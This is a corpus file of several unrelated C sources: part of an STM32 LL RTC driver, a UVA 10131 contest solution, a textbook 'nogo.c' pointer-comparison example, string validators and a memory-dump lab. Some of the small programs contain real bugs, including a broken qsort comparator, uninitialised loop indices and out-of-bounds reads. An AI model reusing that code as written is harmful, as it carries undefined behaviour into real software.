WRITE_REG(RTCx, CR, 0x00000000U); #endif /* RTC_WAKEUP_SUPPORT */ WRITE_REG(RTCx->PRER, (RTC_PRER_PREDIV_A | RTC_SYNCH_PRESC_DEFAULT)); WRITE_REG(RTCx->ALRMAR, 0x00000000U); WRITE_REG(RTCx->ALRMBR, 0x00000000U); WRITE_REG(RTCx->SHIFTR, 0x00000000U); WRITE_REG(RTCx->CALR, 0x00000000U); WRITE_REG(RTCx->ALRMASSR, 0x00000000U); WRITE_REG(RTCx->ALRMBSSR, 0x00000000U); /* Reset ISR register and exit initialization mode */ WRITE_REG(RTCx->ISR, 0x00000000U); /* Reset Tamper and alternate functions configuration register */ WRITE_REG(RTCx->TAMPCR, 0x00000000U); /* Reset Option register */ WRITE_REG(RTCx->OR, 0x00000000U); /* Wait till the RTC RSF flag is set */ status = LL_RTC_WaitForSynchro(RTCx); } /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return status; } /** * @brief Initializes the RTC registers according to the specified parameters * in RTC_InitStruct. * @param RTCx RTC Instance * @param RTC_InitStruct pointer to a @ref LL_RTC_InitTypeDef structure that contains * the configuration information for the RTC peripheral. * @note The RTC Prescaler register is write protected and can be written in * initialization mode only. * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC registers are initialized * - ERROR: RTC registers are not initialized */ ErrorStatus LL_RTC_Init(RTC_TypeDef *RTCx, LL_RTC_InitTypeDef *RTC_InitStruct) { ErrorStatus status = ERROR; /* Check the parameters */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); assert_param(IS_LL_RTC_HOURFORMAT(RTC_InitStruct->HourFormat)); assert_param(IS_LL_RTC_ASYNCH_PREDIV(RTC_InitStruct->AsynchPrescaler)); assert_param(IS_LL_RTC_SYNCH_PREDIV(RTC_InitStruct->SynchPrescaler)); /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Set Initialization mode */ if (LL_RTC_EnterInitMode(RTCx) != ERROR) { /* Set Hour Format */ LL_RTC_SetHourFormat(RTCx, RTC_InitStruct->HourFormat); /* Configure Synchronous and Asynchronous prescaler factor */ LL_RTC_SetSynchPrescaler(RTCx, RTC_InitStruct->SynchPrescaler); LL_RTC_SetAsynchPrescaler(RTCx, RTC_InitStruct->AsynchPrescaler); /* Exit Initialization mode */ LL_RTC_DisableInitMode(RTCx); status = SUCCESS; } /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return status; } /** * @brief Set each @ref LL_RTC_InitTypeDef field to default value. * @param RTC_InitStruct pointer to a @ref LL_RTC_InitTypeDef structure which will be initialized. * @retval None */ void LL_RTC_StructInit(LL_RTC_InitTypeDef *RTC_InitStruct) { /* Set RTC_InitStruct fields to default values */ RTC_InitStruct->HourFormat = LL_RTC_HOURFORMAT_24HOUR; RTC_InitStruct->AsynchPrescaler = RTC_ASYNCH_PRESC_DEFAULT; RTC_InitStruct->SynchPrescaler = RTC_SYNCH_PRESC_DEFAULT; } /** * @brief Set the RTC current time. * @param RTCx RTC Instance * @param RTC_Format This parameter can be one of the following values: * @arg @ref LL_RTC_FORMAT_BIN * @arg @ref LL_RTC_FORMAT_BCD * @param RTC_TimeStruct pointer to a RTC_TimeTypeDef structure that contains * the time configuration information for the RTC. * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC Time register is configured * - ERROR: RTC Time register is not configured */ ErrorStatus LL_RTC_TIME_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_TimeTypeDef *RTC_TimeStruct) { ErrorStatus status = ERROR; /* Check the parameters */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); assert_param(IS_LL_RTC_FORMAT(RTC_Format)); if (RTC_Format == LL_RTC_FORMAT_BIN) { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(RTC_TimeStruct->Hours)); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_TimeStruct->TimeFormat)); } else { RTC_TimeStruct->TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(RTC_TimeStruct->Hours)); } assert_param(IS_LL_RTC_MINUTES(RTC_TimeStruct->Minutes)); assert_param(IS_LL_RTC_SECONDS(RTC_TimeStruct->Seconds)); } else { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Hours))); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_TimeStruct->TimeFormat)); } else { RTC_TimeStruct->TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Hours))); } assert_param(IS_LL_RTC_MINUTES(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Minutes))); assert_param(IS_LL_RTC_SECONDS(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Seconds))); } /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Set Initialization mode */ if (LL_RTC_EnterInitMode(RTCx) != ERROR) { /* Check the input parameters format */ if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_TIME_Config(RTCx, RTC_TimeStruct->TimeFormat, RTC_TimeStruct->Hours, RTC_TimeStruct->Minutes, RTC_TimeStruct->Seconds); } else { LL_RTC_TIME_Config(RTCx, RTC_TimeStruct->TimeFormat, __LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Hours), __LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Minutes), __LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Seconds)); } /* Exit Initialization mode */ LL_RTC_DisableInitMode(RTCx); /* If RTC_CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */ if (LL_RTC_IsShadowRegBypassEnabled(RTCx) == 0U) { status = LL_RTC_WaitForSynchro(RTCx); } else { status = SUCCESS; } } /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return status; } /** * @brief Set each @ref LL_RTC_TimeTypeDef field to default value (Time = 00h:00min:00sec). * @param RTC_TimeStruct pointer to a @ref LL_RTC_TimeTypeDef structure which will be initialized. * @retval None */ void LL_RTC_TIME_StructInit(LL_RTC_TimeTypeDef *RTC_TimeStruct) { /* Time = 00h:00min:00sec */ RTC_TimeStruct->TimeFormat = LL_RTC_TIME_FORMAT_AM_OR_24; RTC_TimeStruct->Hours = 0U; RTC_TimeStruct->Minutes = 0U; RTC_TimeStruct->Seconds = 0U; } /** * @brief Set the RTC current date. * @param RTCx RTC Instance * @param RTC_Format This parameter can be one of the following values: * @arg @ref LL_RTC_FORMAT_BIN * @arg @ref LL_RTC_FORMAT_BCD * @param RTC_DateStruct pointer to a RTC_DateTypeDef structure that contains * the date configuration information for the RTC. * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC Day register is configured * - ERROR: RTC Day register is not configured */ ErrorStatus LL_RTC_DATE_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_DateTypeDef *RTC_DateStruct) { ErrorStatus status = ERROR; /* Check the parameters */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); assert_param(IS_LL_RTC_FORMAT(RTC_Format)); if ((RTC_Format == LL_RTC_FORMAT_BIN) && ((RTC_DateStruct->Month & 0x10U) == 0x10U)) { RTC_DateStruct->Month = (RTC_DateStruct->Month & (uint8_t)~(0x10U)) + 0x0AU; } if (RTC_Format == LL_RTC_FORMAT_BIN) { assert_param(IS_LL_RTC_YEAR(RTC_DateStruct->Year)); assert_param(IS_LL_RTC_MONTH(RTC_DateStruct->Month)); assert_param(IS_LL_RTC_DAY(RTC_DateStruct->Day)); } else { assert_param(IS_LL_RTC_YEAR(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Year))); assert_param(IS_LL_RTC_MONTH(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Month))); assert_param(IS_LL_RTC_DAY(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Day))); } assert_param(IS_LL_RTC_WEEKDAY(RTC_DateStruct->WeekDay)); /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Set Initialization mode */ if (LL_RTC_EnterInitMode(RTCx) != ERROR) { /* Check the input parameters format */ if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_DATE_Config(RTCx, RTC_DateStruct->WeekDay, RTC_DateStruct->Day, RTC_DateStruct->Month, RTC_DateStruct->Year); } else { LL_RTC_DATE_Config(RTCx, RTC_DateStruct->WeekDay, __LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Day), __LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Month), __LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Year)); } /* Exit Initialization mode */ LL_RTC_DisableInitMode(RTCx); /* If RTC_CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */ if (LL_RTC_IsShadowRegBypassEnabled(RTCx) == 0U) { status = LL_RTC_WaitForSynchro(RTCx); } else { status = SUCCESS; } } /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return status; } /** * @brief Set each @ref LL_RTC_DateTypeDef field to default value (date = Monday, January 01 xx00) * @param RTC_DateStruct pointer to a @ref LL_RTC_DateTypeDef structure which will be initialized. * @retval None */ void LL_RTC_DATE_StructInit(LL_RTC_DateTypeDef *RTC_DateStruct) { /* Monday, January 01 xx00 */ RTC_DateStruct->WeekDay = LL_RTC_WEEKDAY_MONDAY; RTC_DateStruct->Day = 1U; RTC_DateStruct->Month = LL_RTC_MONTH_JANUARY; RTC_DateStruct->Year = 0U; } /** * @brief Set the RTC Alarm A. * @note The Alarm register can only be written when the corresponding Alarm * is disabled (Use @ref LL_RTC_ALMA_Disable function). * @param RTCx RTC Instance * @param RTC_Format This parameter can be one of the following values: * @arg @ref LL_RTC_FORMAT_BIN * @arg @ref LL_RTC_FORMAT_BCD * @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure that * contains the alarm configuration parameters. * @retval An ErrorStatus enumeration value: * - SUCCESS: ALARMA registers are configured * - ERROR: ALARMA registers are not configured */ ErrorStatus LL_RTC_ALMA_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_AlarmTypeDef *RTC_AlarmStruct) { /* Check the parameters */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); assert_param(IS_LL_RTC_FORMAT(RTC_Format)); assert_param(IS_LL_RTC_ALMA_MASK(RTC_AlarmStruct->AlarmMask)); assert_param(IS_LL_RTC_ALMA_DATE_WEEKDAY_SEL(RTC_AlarmStruct->AlarmDateWeekDaySel)); if (RTC_Format == LL_RTC_FORMAT_BIN) { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(RTC_AlarmStruct->AlarmTime.Hours)); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat)); } else { RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(RTC_AlarmStruct->AlarmTime.Hours)); } assert_param(IS_LL_RTC_MINUTES(RTC_AlarmStruct->AlarmTime.Minutes)); assert_param(IS_LL_RTC_SECONDS(RTC_AlarmStruct->AlarmTime.Seconds)); if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE) { assert_param(IS_LL_RTC_DAY(RTC_AlarmStruct->AlarmDateWeekDay)); } else { assert_param(IS_LL_RTC_WEEKDAY(RTC_AlarmStruct->AlarmDateWeekDay)); } } else { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours))); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat)); } else { RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours))); } assert_param(IS_LL_RTC_MINUTES(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Minutes))); assert_param(IS_LL_RTC_SECONDS(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Seconds))); if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE) { assert_param(IS_LL_RTC_DAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay))); } else { assert_param(IS_LL_RTC_WEEKDAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay))); } } /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Select weekday selection */ if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE) { /* Set the date for ALARM */ LL_RTC_ALMA_DisableWeekday(RTCx); if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_ALMA_SetDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay); } else { LL_RTC_ALMA_SetDay(RTCx, __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmDateWeekDay)); } } else { /* Set the week day for ALARM */ LL_RTC_ALMA_EnableWeekday(RTCx); LL_RTC_ALMA_SetWeekDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay); } /* Configure the Alarm register */ if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_ALMA_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat, RTC_AlarmStruct->AlarmTime.Hours, RTC_AlarmStruct->AlarmTime.Minutes, RTC_AlarmStruct->AlarmTime.Seconds); } else { LL_RTC_ALMA_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat, __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Hours), __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Minutes), __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Seconds)); } /* Set ALARM mask */ LL_RTC_ALMA_SetMask(RTCx, RTC_AlarmStruct->AlarmMask); /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return SUCCESS; } /** * @brief Set the RTC Alarm B. * @note The Alarm register can only be written when the corresponding Alarm * is disabled (@ref LL_RTC_ALMB_Disable function). * @param RTCx RTC Instance * @param RTC_Format This parameter can be one of the following values: * @arg @ref LL_RTC_FORMAT_BIN * @arg @ref LL_RTC_FORMAT_BCD * @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure that * contains the alarm configuration parameters. * @retval An ErrorStatus enumeration value: * - SUCCESS: ALARMB registers are configured * - ERROR: ALARMB registers are not configured */ ErrorStatus LL_RTC_ALMB_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_AlarmTypeDef *RTC_AlarmStruct) { /* Check the parameters */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); assert_param(IS_LL_RTC_FORMAT(RTC_Format)); assert_param(IS_LL_RTC_ALMB_MASK(RTC_AlarmStruct->AlarmMask)); assert_param(IS_LL_RTC_ALMB_DATE_WEEKDAY_SEL(RTC_AlarmStruct->AlarmDateWeekDaySel)); if (RTC_Format == LL_RTC_FORMAT_BIN) { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(RTC_AlarmStruct->AlarmTime.Hours)); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat)); } else { RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(RTC_AlarmStruct->AlarmTime.Hours)); } assert_param(IS_LL_RTC_MINUTES(RTC_AlarmStruct->AlarmTime.Minutes)); assert_param(IS_LL_RTC_SECONDS(RTC_AlarmStruct->AlarmTime.Seconds)); if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMB_DATEWEEKDAYSEL_DATE) { assert_param(IS_LL_RTC_DAY(RTC_AlarmStruct->AlarmDateWeekDay)); } else { assert_param(IS_LL_RTC_WEEKDAY(RTC_AlarmStruct->AlarmDateWeekDay)); } } else { if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR) { assert_param(IS_LL_RTC_HOUR12(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours))); assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat)); } else { RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U; assert_param(IS_LL_RTC_HOUR24(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours))); } assert_param(IS_LL_RTC_MINUTES(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Minutes))); assert_param(IS_LL_RTC_SECONDS(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Seconds))); if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMB_DATEWEEKDAYSEL_DATE) { assert_param(IS_LL_RTC_DAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay))); } else { assert_param(IS_LL_RTC_WEEKDAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay))); } } /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Select weekday selection */ if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMB_DATEWEEKDAYSEL_DATE) { /* Set the date for ALARM */ LL_RTC_ALMB_DisableWeekday(RTCx); if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_ALMB_SetDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay); } else { LL_RTC_ALMB_SetDay(RTCx, __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmDateWeekDay)); } } else { /* Set the week day for ALARM */ LL_RTC_ALMB_EnableWeekday(RTCx); LL_RTC_ALMB_SetWeekDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay); } /* Configure the Alarm register */ if (RTC_Format != LL_RTC_FORMAT_BIN) { LL_RTC_ALMB_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat, RTC_AlarmStruct->AlarmTime.Hours, RTC_AlarmStruct->AlarmTime.Minutes, RTC_AlarmStruct->AlarmTime.Seconds); } else { LL_RTC_ALMB_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat, __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Hours), __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Minutes), __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Seconds)); } /* Set ALARM mask */ LL_RTC_ALMB_SetMask(RTCx, RTC_AlarmStruct->AlarmMask); /* Enable the write protection for RTC registers */ LL_RTC_EnableWriteProtection(RTCx); return SUCCESS; } /** * @brief Set each @ref LL_RTC_AlarmTypeDef of ALARMA field to default value (Time = 00h:00mn:00sec / * Day = 1st day of the month/Mask = all fields are masked). * @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure which will be initialized. * @retval None */ void LL_RTC_ALMA_StructInit(LL_RTC_AlarmTypeDef *RTC_AlarmStruct) { /* Alarm Time Settings : Time = 00h:00mn:00sec */ RTC_AlarmStruct->AlarmTime.TimeFormat = LL_RTC_ALMA_TIME_FORMAT_AM; RTC_AlarmStruct->AlarmTime.Hours = 0U; RTC_AlarmStruct->AlarmTime.Minutes = 0U; RTC_AlarmStruct->AlarmTime.Seconds = 0U; /* Alarm Day Settings : Day = 1st day of the month */ RTC_AlarmStruct->AlarmDateWeekDaySel = LL_RTC_ALMA_DATEWEEKDAYSEL_DATE; RTC_AlarmStruct->AlarmDateWeekDay = 1U; /* Alarm Masks Settings : Mask = all fields are not masked */ RTC_AlarmStruct->AlarmMask = LL_RTC_ALMA_MASK_NONE; } /** * @brief Set each @ref LL_RTC_AlarmTypeDef of ALARMA field to default value (Time = 00h:00mn:00sec / * Day = 1st day of the month/Mask = all fields are masked). * @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure which will be initialized. * @retval None */ void LL_RTC_ALMB_StructInit(LL_RTC_AlarmTypeDef *RTC_AlarmStruct) { /* Alarm Time Settings : Time = 00h:00mn:00sec */ RTC_AlarmStruct->AlarmTime.TimeFormat = LL_RTC_ALMB_TIME_FORMAT_AM; RTC_AlarmStruct->AlarmTime.Hours = 0U; RTC_AlarmStruct->AlarmTime.Minutes = 0U; RTC_AlarmStruct->AlarmTime.Seconds = 0U; /* Alarm Day Settings : Day = 1st day of the month */ RTC_AlarmStruct->AlarmDateWeekDaySel = LL_RTC_ALMB_DATEWEEKDAYSEL_DATE; RTC_AlarmStruct->AlarmDateWeekDay = 1U; /* Alarm Masks Settings : Mask = all fields are not masked */ RTC_AlarmStruct->AlarmMask = LL_RTC_ALMB_MASK_NONE; } /** * @brief Enters the RTC Initialization mode. * @note The RTC Initialization mode is write protected, use the * @ref LL_RTC_DisableWriteProtection before calling this function. * @param RTCx RTC Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC is in Init mode * - ERROR: RTC is not in Init mode */ ErrorStatus LL_RTC_EnterInitMode(RTC_TypeDef *RTCx) { __IO uint32_t timeout = RTC_INITMODE_TIMEOUT; ErrorStatus status = SUCCESS; uint32_t tmp; /* Check the parameter */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); /* Check if the Initialization mode is set */ if (LL_RTC_IsActiveFlag_INIT(RTCx) == 0U) { /* Set the Initialization mode */ LL_RTC_EnableInitMode(RTCx); /* Wait till RTC is in INIT state and if Time out is reached exit */ tmp = LL_RTC_IsActiveFlag_INIT(RTCx); while ((timeout != 0U) && (tmp != 1U)) { if (LL_SYSTICK_IsActiveCounterFlag() == 1U) { timeout --; } tmp = LL_RTC_IsActiveFlag_INIT(RTCx); if (timeout == 0U) { status = ERROR; } } } return status; } /** * @brief Exit the RTC Initialization mode. * @note When the initialization sequence is complete, the calendar restarts * counting after 4 RTCCLK cycles. * @note The RTC Initialization mode is write protected, use the * @ref LL_RTC_DisableWriteProtection before calling this function. * @param RTCx RTC Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC exited from in Init mode * - ERROR: Not applicable */ ErrorStatus LL_RTC_ExitInitMode(RTC_TypeDef *RTCx) { /* Check the parameter */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); /* Disable initialization mode */ LL_RTC_DisableInitMode(RTCx); return SUCCESS; } /** * @brief Waits until the RTC Time and Day registers (RTC_TR and RTC_DR) are * synchronized with RTC APB clock. * @note The RTC Resynchronization mode is write protected, use the * @ref LL_RTC_DisableWriteProtection before calling this function. * @note To read the calendar through the shadow registers after Calendar * initialization, calendar update or after wakeup from low power modes * the software must first clear the RSF flag. * The software must then wait until it is set again before reading * the calendar, which means that the calendar registers have been * correctly copied into the RTC_TR and RTC_DR shadow registers. * @param RTCx RTC Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC registers are synchronised * - ERROR: RTC registers are not synchronised */ ErrorStatus LL_RTC_WaitForSynchro(RTC_TypeDef *RTCx) { __IO uint32_t timeout = RTC_SYNCHRO_TIMEOUT; ErrorStatus status = SUCCESS; uint32_t tmp; /* Check the parameter */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); /* Clear RSF flag */ LL_RTC_ClearFlag_RS(RTCx); /* Wait the registers to be synchronised */ tmp = LL_RTC_IsActiveFlag_RS(RTCx); while ((timeout != 0U) && (tmp != 0U)) { if (LL_SYSTICK_IsActiveCounterFlag() == 1U) { timeout--; } tmp = LL_RTC_IsActiveFlag_RS(RTCx); if (timeout == 0U) { status = ERROR; } } if (status != ERROR) { timeout = RTC_SYNCHRO_TIMEOUT; tmp = LL_RTC_IsActiveFlag_RS(RTCx); while ((timeout != 0U) && (tmp != 1U)) { if (LL_SYSTICK_IsActiveCounterFlag() == 1U) { timeout--; } tmp = LL_RTC_IsActiveFlag_RS(RTCx); if (timeout == 0U) { status = ERROR; } } } return (status); } /** * @} */ /** * @} */ /** * @} */ #endif /* defined(RTC) */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/103264665.c
// Problem : UVA 10131 - Is Bigger Smarter // Author : timwilliam // Compiled : 07/30/2021 #include <stdio.h> #include <stdlib.h> typedef struct _list{ int w, iq, id; }LIST; int cmpfunc(const void *a, const void *b){ if (((LIST*)a)->w > ((LIST*)b)->w) return 1; else return -1; if(((LIST*)a)->iq < ((LIST*)b)->iq) return 1; else if(((LIST*)a)->iq == ((LIST*)b)->iq) return 0; else return -1; } int main(void){ int n_elephant, i, highest_iq_index, temp, *subset_of_elephant, subset_count; LIST *list_of_elephants = (LIST*) malloc(1000 * sizeof(LIST)); n_elephant = 0; while(scanf("%d %d", &list_of_elephants[n_elephant].w, &list_of_elephants[n_elephant].iq) != EOF){ list_of_elephants[n_elephant].id = n_elephant + 1, n_elephant++; } // list are sorted by weight (ascending), and then by iq (descending) qsort(list_of_elephants, n_elephant, sizeof(*list_of_elephants), cmpfunc); // for(i = 0; i < n_elephant; i++){ // printf("%d. %4d %4d %2d\n", i+1, list_of_elephants[i].w, list_of_elephants[i].iq, list_of_elephants[i].id); // } // find the array index of the elephant with the highest iq highest_iq_index = 0; for(i = 1; i < n_elephant; i++){ if(list_of_elephants[i].iq >= list_of_elephants[highest_iq_index].iq) highest_iq_index = i; } // then go through the list and store the id of the elephant in an array subset_of_elephant = (int*) malloc(n_elephant * sizeof(int)); subset_count = 0; subset_of_elephant[subset_count++] = list_of_elephants[highest_iq_index].id; temp = list_of_elephants[highest_iq_index].iq; for(i = highest_iq_index+1; i < n_elephant; i++){ if(temp >= list_of_elephants[i].iq){ subset_of_elephant[subset_count++] = list_of_elephants[i].id; temp = list_of_elephants[i].iq; } } printf("%d\n", subset_count); for(i = 0; i < subset_count; i++) printf("%d\n", subset_of_elephant[i]); return 0; }
the_stack_data/248579547.c
// nogo.c -- Can this program execute properly? #include <stdio.h> #define ANSWER "Grant" #define SIZE 40 char *s_gets(char *st, int n); int main(void) { char try[SIZE]; puts("Who is burried in Grant's tomb?"); s_gets(try, SIZE); while (try != ANSWER) { puts("No, that's wrong. Try again."); s_gets(try, SIZE); } puts("That's right!"); return 0; } char *s_gets(char *st, int n) { char *ret_val; int i = 0; ret_val = fgets(st, n, stdin); if (ret_val) { while (st[i] != '\n' && st[i] != '\0') i++; if (st[i] == '\n') st[i] = '\0'; else while (getchar() != '\n') continue; } return ret_val; }
the_stack_data/20449888.c
#define ASCII_NUMBER_FIRST 48 #define ASCII_NUMBER_LAST 57 #define ASCII_LC_LETTER_LAST 122 #define ASCII_LC_LETTER_FIRST 97 int stringValidateLCaseString(const char *string, const int strLength) { for (int i; i < strLength; i++) { if ((int)string[i] < ASCII_LC_LETTER_FIRST || (int)string[i] > ASCII_LC_LETTER_LAST) return 0; } return 1; } int stringValidateNumericString(const char *string, const int strLength) { for (int i; i < strLength; i++) { if ((int)string[i] < ASCII_NUMBER_FIRST || (int)string[i] > ASCII_NUMBER_LAST) return 0; } return 1; }
the_stack_data/176706942.c
/********************************* * dump.c * * Divides by memory, shows addresses and value by types * * Author: Simon Lee (sijlee) / Brandon Burzon (brburzon) * Date Created: 01/29/2016 * Last Modified by: Brandon Burzon (brburzon) * Date Last Modified: 02/04/2016 * Assignment: Lab 3 * Part of: C335 */ #include <stdio.h> typedef enum { FALSE = 0, TRUE } bool; /** * Returns true if the given character is visible, otherwise returns false. */ bool isCharVisible(char c) { if(c >= 32 && c < 127) { return TRUE; } else { return FALSE; } } /** * Returns true if the given size is big enough to hold a double, otherwise returns false. */ bool hasDouble(int size) { return size % sizeof(double) == 0; } /** * Returns true if the size given is big enough to hold an int or a float, otherwise returns false. */ bool hasIntAndFloat(int size) { return size % sizeof(float) == 0; } /** * Return true if the given size is big enough to hold a short, otherwise returns false. */ bool hasShort(int size) { return size % sizeof(short) == 0; } /** * Dumps memory one bit at a time and prints it to the screen. */ void dump_memory(void *p, int len) { void *memAddress; unsigned char mChar; unsigned short mShort; unsigned int mInt; float mFloat; double mDouble; int i; printf("%s\t\t%s\t%s\t%s\t%s\t\t%s\t\t%s\n", "address", "char", "hexCh", "short", "integer", "float", "doubleFloat"); for (i = 0; i < len; i++) { memAddress = p + i; mChar = *(unsigned char *)(p + i); mShort = *(unsigned short *)(p + i); mInt = *(unsigned int *)(p + i); mFloat = *(float *)(p + i); mDouble = *(double *)(p + i); if(isCharVisible(mChar)) printf("%8p:\t%c\t0x%02x\t", memAddress, mChar, mChar); else printf("%8p:\t?\t0x%02x\t", memAddress, mChar); if(hasShort(i)) printf("%+5hu\t", mShort); if(hasIntAndFloat(i)) printf("%+10d\t%+e\t", mInt, mFloat); if(hasDouble(i)) printf("%+e", mDouble); printf("\n"); } }
the_stack_data/247017649.c
